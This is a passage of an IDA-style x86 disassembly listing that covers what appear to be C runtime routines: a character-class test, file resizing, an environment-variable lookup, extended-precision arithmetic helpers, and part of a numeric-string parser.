		mov	dl, byte_4DB681[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_42CD84
		cmp	[ebp+arg_4], 0
		jz	short loc_42CD6E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word_443C86[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_42CD75
; ---------------------------------------------------------------------------


loc_42CD6E:				; CODE XREF: sub_42CD30+27j
		mov	[ebp+var_4], 0


loc_42CD75:				; CODE XREF: sub_42CD30+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_42CD84
		mov	[ebp+var_8], 0
		jmp	short loc_42CD8B
; ---------------------------------------------------------------------------


loc_42CD84:				; CODE XREF: sub_42CD30+21j
					; sub_42CD30+49j
		mov	[ebp+var_8], 1


loc_42CD8B:				; CODE XREF: sub_42CD30+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42CD30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4DB560
		jnb	short loc_42CDD1
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42CDE1


loc_42CDD1:				; CODE XREF: ___:0042CDADj
		call	sub_420520
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CE0F
; ---------------------------------------------------------------------------


loc_42CDE1:				; CODE XREF: ___:0042CDCFj
		mov	edx, [ebp+8]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42CE20
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp-4]


loc_42CE0F:				; CODE XREF: ___:0042CDDFj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CE20	proc near		; CODE XREF: sub_428050+44Cp
					; ___:0042CDF5p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0


loc_42CE46:				; CODE XREF: sub_42CE20+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_42CE6D
		push	offset dword_434D1C
		push	0
		push	81h
		push	offset dword_434D10
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42CE6D
		int	3		; Trap to Debugger


loc_42CE6D:				; CODE XREF: sub_42CE20+2Aj
					; sub_42CE20+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42CE46
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_42CEB1
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_42CEB9


loc_42CEB1:				; CODE XREF: sub_42CE20+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_42D049
; ---------------------------------------------------------------------------


loc_42CEB9:				; CODE XREF: sub_42CE20+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_42CFD0
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_417070
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4300D0
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42CEFF:				; CODE XREF: sub_42CE20+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_42CF17
		mov	[ebp+var_1020],	1000h
		jmp	short loc_42CF23
; ---------------------------------------------------------------------------


loc_42CF17:				; CODE XREF: sub_42CE20+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx


loc_42CF23:				; CODE XREF: sub_42CE20+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_42CF47
		mov	[ebp+var_1024],	1000h
		jmp	short loc_42CF53
; ---------------------------------------------------------------------------


loc_42CF47:				; CODE XREF: sub_42CE20+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax


loc_42CF53:				; CODE XREF: sub_42CE20+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425910
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_42CF9F
		call	sub_420530
		cmp	dword ptr [eax], 5
		jnz	short loc_42CF91
		call	sub_420520
		mov	dword ptr [eax], 0Dh


loc_42CF91:				; CODE XREF: sub_42CE20+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_42CFBE
; ---------------------------------------------------------------------------


loc_42CF9F:				; CODE XREF: sub_42CE20+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_42CEFF


loc_42CFBE:				; CODE XREF: sub_42CE20+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4300D0
		add	esp, 8
		jmp	short loc_42D02E
; ---------------------------------------------------------------------------


loc_42CFD0:				; CODE XREF: sub_42CE20+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_42D02E
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4254B0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427A60
		add	esp, 4
		push	eax
		call	near ptr 2620000h
		nop
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_42D02E
		call	sub_420520
		mov	dword ptr [eax], 0Dh
		nop
		call	near ptr 26908EFh
		mov	esi, eax
		call	sub_420530
		mov	[eax], esi


loc_42D02E:				; CODE XREF: sub_42CE20+1AEj
					; sub_42CE20+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4254B0
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]


loc_42D049:				; CODE XREF: sub_42CE20+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42CE20	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_42D080
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D080	proc near		; CODE XREF: sub_428F10+3Ap
					; ___:0042D062p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4DB0CC
		mov	[ebp+var_8], eax
		cmp	dword_4DC7C4, 0
		jnz	short loc_42D09E
		xor	eax, eax
		jmp	loc_42D142
; ---------------------------------------------------------------------------


loc_42D09E:				; CODE XREF: sub_42D080+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_42D0C6
		cmp	dword_4DB0D4, 0
		jz	short loc_42D0C6
		call	sub_4301F0
		test	eax, eax
		jz	short loc_42D0BD
		xor	eax, eax
		jmp	loc_42D142
; ---------------------------------------------------------------------------


loc_42D0BD:				; CODE XREF: sub_42D080+34j
		mov	ecx, dword_4DB0CC
		mov	[ebp+var_8], ecx


loc_42D0C6:				; CODE XREF: sub_42D080+22j
					; sub_42D080+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_42D140
		cmp	[ebp+arg_0], 0
		jz	short loc_42D140
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_414BE0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42D0E1:				; CODE XREF: sub_42D080+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_42D140
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_414BE0
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_42D135
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_42D135
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_4301A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D135
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_42D142
; ---------------------------------------------------------------------------


loc_42D135:				; CODE XREF: sub_42D080+7Aj
					; sub_42D080+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_42D0E1
; ---------------------------------------------------------------------------


loc_42D140:				; CODE XREF: sub_42D080+4Aj
					; sub_42D080+50j ...
		xor	eax, eax


loc_42D142:				; CODE XREF: sub_42D080+19j
					; sub_42D080+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42D080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D150	proc near		; CODE XREF: sub_429D30+53p
					; sub_429D30+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_42D176
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_42D17F


loc_42D176:				; CODE XREF: sub_42D150+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42D17F:				; CODE XREF: sub_42D150+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D190	proc near		; CODE XREF: sub_42D310+77p
					; sub_42D310+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42D1E7
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42D1E7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax


loc_42D1E7:				; CODE XREF: sub_42D190+25j
					; sub_42D190+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_42D21C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx


loc_42D21C:				; CODE XREF: sub_42D190+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_42D150
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_42D190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D240	proc near		; CODE XREF: sub_42D310+5Bp
					; sub_42D310+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D2A0	proc near		; CODE XREF: sub_42DFD0+382p
					; sub_4302A0+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D2A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D310	proc near		; CODE XREF: sub_42D450+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_42D34D
; ---------------------------------------------------------------------------


loc_42D33B:				; CODE XREF: sub_42D310+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42D34D:				; CODE XREF: sub_42D310+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_42D3C7
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42D240
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42D240
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42D190
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42D240
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42D190
		add	esp, 8
		jmp	loc_42D33B
; ---------------------------------------------------------------------------


loc_42D3C7:				; CODE XREF: sub_42D310+41j
					; sub_42D310+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42D413
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_42D3C7
; ---------------------------------------------------------------------------


loc_42D413:				; CODE XREF: sub_42D310+BEj
					; sub_42D310+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_42D43C
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42D240
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_42D413
; ---------------------------------------------------------------------------


loc_42D43C:				; CODE XREF: sub_42D310+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D450	proc near		; CODE XREF: sub_42A3C0+1Ap
					; ___:0042A41Ap ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_42D4C9
; ---------------------------------------------------------------------------


loc_42D4C0:				; CODE XREF: sub_42D450:loc_42D4F5j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42D4C9:				; CODE XREF: sub_42D450+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42D4F5
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_42D4F5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_42D4F5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_42D4F7


loc_42D4F5:				; CODE XREF: sub_42D450+82j
					; sub_42D450+8Dj ...
		jmp	short loc_42D4C0
; ---------------------------------------------------------------------------


loc_42D4F7:				; CODE XREF: sub_42D450+A3j
					; sub_42D450:loc_42DC53j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_42DC58
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_42DC53
		mov	ecx, [ebp+var_80]
		jmp	off_42DE6A[ecx*4]


loc_42D52C:				; DATA XREF: ___:off_42DE6Ao
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42D550
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42D550
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42D5C5
; ---------------------------------------------------------------------------


loc_42D550:				; CODE XREF: sub_42D450+E3j
					; sub_42D450+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_443B74
		cmp	edx, eax
		jnz	short loc_42D568
		mov	[ebp+var_4C], 5
		jmp	short loc_42D5C5
; ---------------------------------------------------------------------------


loc_42D568:				; CODE XREF: sub_42D450+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_42D597
		cmp	[ebp+var_84], 2Dh
		jz	short loc_42D5A6
		cmp	[ebp+var_84], 30h
		jz	short loc_42D58E
		jmp	short loc_42D5B5
; ---------------------------------------------------------------------------


loc_42D58E:				; CODE XREF: sub_42D450+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_42D5C5
; ---------------------------------------------------------------------------


loc_42D597:				; CODE XREF: sub_42D450+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_42D5C5
; ---------------------------------------------------------------------------


loc_42D5A6:				; CODE XREF: sub_42D450+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_42D5C5
; ---------------------------------------------------------------------------


loc_42D5B5:				; CODE XREF: sub_42D450+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42D5C5:				; CODE XREF: sub_42D450+FEj
					; sub_42D450+116j ...
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D5CA:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE6Eo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_42D5F8
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_42D5F8
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_42D67B
; ---------------------------------------------------------------------------


loc_42D5F8:				; CODE XREF: sub_42D450+188j
					; sub_42D450+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_443B74
		cmp	eax, ecx
		jnz	short loc_42D610
		mov	[ebp+var_4C], 4
		jmp	short loc_42D67B
; ---------------------------------------------------------------------------


loc_42D610:				; CODE XREF: sub_42D450+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_42D66B
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, byte_42DEAA[edx]
		jmp	off_42DE9A[ecx*4]


loc_42D647:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE9Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_42D67B
; ---------------------------------------------------------------------------


loc_42D650:				; CODE XREF: sub_42D450+D5j
					; sub_42D450+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_42D67B
; ---------------------------------------------------------------------------


loc_42D659:				; CODE XREF: sub_42D450+D5j
					; sub_42D450+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42D67B
; ---------------------------------------------------------------------------


loc_42D66B:				; CODE XREF: sub_42D450+D5j
					; sub_42D450+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42D67B:				; CODE XREF: sub_42D450+1A3j
					; sub_42D450+1BEj ...
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D680:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE72o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42D6A4
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42D6A4
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42D6E6
; ---------------------------------------------------------------------------


loc_42D6A4:				; CODE XREF: sub_42D450+237j
					; sub_42D450+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_443B74
		cmp	edx, eax
		jnz	short loc_42D6BC
		mov	[ebp+var_4C], 5
		jmp	short loc_42D6E6
; ---------------------------------------------------------------------------


loc_42D6BC:				; CODE XREF: sub_42D450+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_42D6D0
		jmp	short loc_42D6D9
; ---------------------------------------------------------------------------


loc_42D6D0:				; CODE XREF: sub_42D450+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_42D6E6
; ---------------------------------------------------------------------------


loc_42D6D9:				; CODE XREF: sub_42D450+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_42D6E6:				; CODE XREF: sub_42D450+252j
